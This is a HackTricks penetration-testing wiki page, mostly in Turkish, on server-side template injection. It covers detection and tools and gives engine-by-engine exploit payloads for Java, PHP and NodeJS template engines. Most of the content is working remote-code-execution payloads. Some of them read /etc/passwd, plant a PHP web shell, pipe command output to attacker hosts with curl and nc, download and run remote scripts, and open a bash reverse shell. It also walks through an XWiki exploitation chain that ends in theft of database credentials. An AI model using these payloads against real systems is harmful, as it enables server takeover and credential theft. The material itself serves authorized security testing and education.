SSTI (Server Side Template Injection)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
SSTI (Server-Side Template Injection) nedir
Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebildiği bir güvenlik açığıdır. Bu güvenlik açığı Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.
Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan savunmasız bir kod parçasını gösteren bir örneği inceleyelim:
output = template.render(name=request.args.get('name'))
Bu zayıf kodda, kullanıcının isteğindeki name parametresi render fonksiyonu kullanılarak template’e doğrudan geçirilir. Bu, potansiyel olarak bir attacker’ın name parametresine kötü amaçlı kod enjekte etmesine ve server-side template injection’a yol açmasına izin verebilir.
Örneğin, bir attacker şu tarz bir payload ile bir istek oluşturabilir:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu payload, saldırganın yetkisiz kod yürütmesine veya şablon motorunu manipüle etmesine olanak veren Jinja template directives içerebilir ve potansiyel olarak sunucu üzerinde kontrol elde edilmesine yol açabilir.
To prevent server-side template injection vulnerabilities, geliştiriciler kullanıcı girdilerinin şablonlara eklenmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmalıdır. Girdi doğrulaması uygulamak ve bağlama duyarlı escaping teknikleri kullanmak bu açığın riskini azaltmaya yardımcı olur.
Detection
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. Bu, template’e özel karakter dizisi (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun yanıtındaki normal veri ile bu özel payload arasındaki farkları analiz etmeyi içerir. Açık göstergeleri şunlardır:
- Hata fırlatılması; açığı ve potansiyel olarak şablon motorunu ortaya çıkarır.
- Payload’ın yansımada olmaması veya parçalarının eksik olması; sunucunun bunu normal veriden farklı işlediğini gösterir.
- Plaintext Context: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’ten ayırın (örn.,
{{7*7}},${7*7}). - Code Context: Girdi parametrelerini değiştirerek açığı doğrulayın. Örneğin,
http://vulnerable-website.com/?greeting=data.usernameiçindekigreetingi değiştirip sunucunun çıktısının dinamik mi sabit mi olduğunu görün; örneğingreeting=data.username}}hellokullanıcı adını döndürebilir.
Identification Phase
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil-spesifik payload’lar ile manuel testler yapmayı içerir. Hata oluşturan yaygın payload’lar arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Sunucunun matematiksel işlemlere verdiği yanıtı gözlemlemek, belirli şablon motorunu tespit etmeye yardımcı olur.
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
Tools
TInjA
yenilikçi polyglotları kullanan verimli bir SSTI + CSTI tarayıcısı
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
44 en önemli template engine’in beklenen cevaplarıyla birlikte en etkili template injection polyglot’larını içeren interaktif bir tablo.
Exploits
Genel
Bu wordlist’te aşağıda adı geçen bazı template engine’lerin ortamlarında tanımlı değişkenleri bulabilirsiniz:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Sistemin ortam değişkenlerini alın
${T(java.lang.System).getenv()}
Java - /etc/passwd dosyasını al
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Payloads’ınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ yalnızca Freemarker sürümleri 2.3.30’dan düşük olanlarda çalışır
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Daha fazla bilgi
- FreeMarker bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Daha fazla bilgi
- Velocity bölümünde: https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf’te, SSTI zayıflıklarını test etmek için yaygın bir ifade ${7*7}’dir; bu ifade bu şablon motoru için de geçerlidir. Potansiyel remote code execution için aşağıdaki gibi ifadeler kullanılabilir:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf bu ifadelerin belirli attribute’lar içinde yerleştirilmesini gerektirir. Ancak, expression inlining diğer template konumları için de desteklenir; [[...]] veya [(...)] gibi sözdizimi kullanılarak. Bu nedenle basit bir SSTI test payload’u şöyle görünebilir: [[${7*7}]].
Ancak, bu payload’un işe yaraması genel olarak düşük ihtimallidir. Thymeleaf’in varsayılan yapılandırması dinamik şablon üretimini desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin stringlerden anında şablon oluşturmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu nadirdir.
Thymeleaf ayrıca çift alt çizgi (__...__) içindeki ifadelerin ön işlemden geçirildiği expression preprocessing özelliğini sunar. Bu özellik, ifadelerin oluşturulmasında kullanılabilir; Thymeleaf dokümantasyonunda gösterildiği gibi:
#{selection.__${sel.code}__}
Thymeleaf’te Vulnerability Örneği
Aşağıdaki code snippet’i göz önünde bulundurun; bu exploitation’e açık olabilir:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Bu, template engine bu girdileri uygunsuz şekilde işlerse remote code execution’a yol açabileceğini ve şu gibi URL’lere erişebileceğini gösterir:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Daha fazla bilgi
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters
Birden çok değişken ifadesi kullanılabilir; eğer ${...} çalışmıyorsa #{...}, *{...}, @{...} veya ~{...} deneyin.
/etc/passwddosyasını oku
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Custom Script ile payload oluşturma
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Daha Fazla Bilgi
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble’ın eski sürümleri (< 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble’in yeni sürümü:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, şu adreste mevcut: https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Düzeltildi: https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Daha fazla bilgi
Hubspot - HuBL (Java)
{% %}komut ayırıcıları{{ }}ifade ayırıcıları{# #}yorum ayırıcıları{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
“com.hubspot.content.hubl.context.TemplateContextRequest” için arama yapın ve Jinjava project on Github keşfedin.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Daha fazla bilgi
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL), sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed bean’ler) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. JavaEE’de bu iletişimi basitleştirmek için birçok JavaEE teknolojisinde yaygın olarak kullanılır. EL’i kullanan başlıca JavaEE teknolojileri şunlardır:
- JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili backend veri ve eylemlerine bağlamak için EL’i kullanır.
- JavaServer Pages (JSP): JSP’de EL, JSP sayfalarında veriye erişmek ve veriyi manipüle etmek için kullanılır; böylece sayfa öğelerini uygulama verisine bağlamak kolaylaşır.
- Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile managed bean’ler arasında sorunsuz etkileşim sağlamak için CDI ile bütünleşir ve daha tutarlı bir uygulama yapısı oluşturur.
EL yorumlayıcılarının exploitation of EL interpreters ile ilgili daha fazla bilgi için aşağıdaki sayfayı inceleyin:
Groovy (Java)
Aşağıdaki Security Manager bypass’ları bu writeup from alınmıştır.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (15.10.11 / 16.4.1 / 16.5.0RC1’de düzeltildi) kimlik doğrulaması gerektirmeyen RSS arama feed’lerini Main.SolrSearch macro’su üzerinden render ediyor. İşleyici text sorgu parametresini alır, wiki sözdizimine sarar ve macro’ları değerlendirir; bu yüzden }}} ardından {{groovy}} enjekte etmek JVM’de keyfi Groovy çalıştırır.
- Fingerprint & scope – XWiki host-tabanlı yönlendirme arkasında reverse-proxy ile çalışıyorsa, wiki vhost’u keşfetmek için
Hostbaşlığını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra/xwiki/bin/view/Main/’i gezip footer’ı (XWiki Debian 15.10.8) okuyarak etkilenen build’i tespit edin. - Trigger SSTI – İsteği
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20şeklinde yapın. RSS öğesinin<title>kısmı Groovy çıktısını içerecektir. Her zaman “URL-encode all characters” uygulayın ki boşluklar%20olarak kalsın; bunları+ile değiştirmek XWiki’nin HTTP 500 dönmesine sebep olur. - Run OS commands – Groovy gövdesini
{{groovy}}println("id".execute().text){{/groovy}}ile değiştirin.String.execute()komutu doğrudanexecve()ile çalıştırdığı için shell meta-karakterleri (|,>,&) yorumlanmaz. Bunun yerine indir-ve-çalıştır desenini kullanın:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(script ters kabuk mantığını içerir).
- Post exploitation – XWiki veritabanı kimlik bilgilerini
/etc/xwiki/hibernate.cfg.xmliçinde saklar;hibernate.connection.password’ın sızması gerçek sistem parolaları verir ve SSH üzerinden tekrar kullanılabilir. Eğer servis unit’iNoNewPrivileges=trueolarak ayarlanmışsa,/bin/sugibi araçlar geçerli parolalarla bile ek ayrıcalık kazanamaz; bu yüzden yerel SUID ikililere güvenmek yerine SSH ile pivot yapın.
Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS başlığına gömülüdür; bu yüzden komutların script ile taranması kolaydır.
Diğer Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Daha fazla bilgi: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Daha fazla bilgi
- Smarty bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Şablon formatı
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Daha fazla bilgi
- Twig ve Twig (Sandboxed) bölümünde https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates, Twig’ten ilham alan PHP’ye özgü bir şablon motorudur. Ancak yeni bir sözdizimi getiren Twig’in aksine, Plates şablonlarda doğal PHP kodunu kullanır; bu da PHP geliştiricileri için sezgisel hale getirir.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Sayfa şablonu:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Düzen şablonu:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Daha fazla bilgi
PHPlib ve HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB PHPlib ile aynı, ancak Pear’e port edilmiş.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Daha fazla bilgi
Diğer PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Daha fazla bilgi için: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Daha fazla bilgi
- Jade bölümünde: https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate derleme gerektirmeyen PHP şablon motoru, belgeyi farklı parçalara ayırmak için XML etiketleri kullanır
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Daha fazla bilgi
Handlebars (NodeJS)
Path Traversal (daha fazla bilgi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hata
- ${7*7} = ${7*7}
- Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Daha fazla bilgi
JsRender (NodeJS)
| Şablon | Açıklama |
|---|---|
| Çıktıyı değerlendirir ve render eder | |
| HTML olarak kodlanmış çıktıyı değerlendirir ve render eder | |
| Yorum | |
| and | Koda izin ver (varsayılan olarak devre dışı) |
- = 49
İstemci Tarafı
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Sunucu Tarafı
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Daha fazla bilgi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Örnek server-side render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Daha fazla bilgi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Çıktı yok
- #{7*7} = #{7*7}
- {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Daha fazla bilgi
NodeJS ifade sandbox’ları (vm2 / isolated-vm)
Bazı workflow builder’lar kullanıcı kontrollü ifadeleri Node sandbox’ları içinde değerlendirir (vm2, isolated-vm), ancak ifade bağlamı hala this.process.mainModule.require’i açığa çıkarır. Bu, saldırganın child_process’ı yükleyip OS komutları çalıştırmasına izin verir; hatta özel “Execute Command” düğümleri devre dışı bırakılmış olsa bile:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Diğer NodeJS
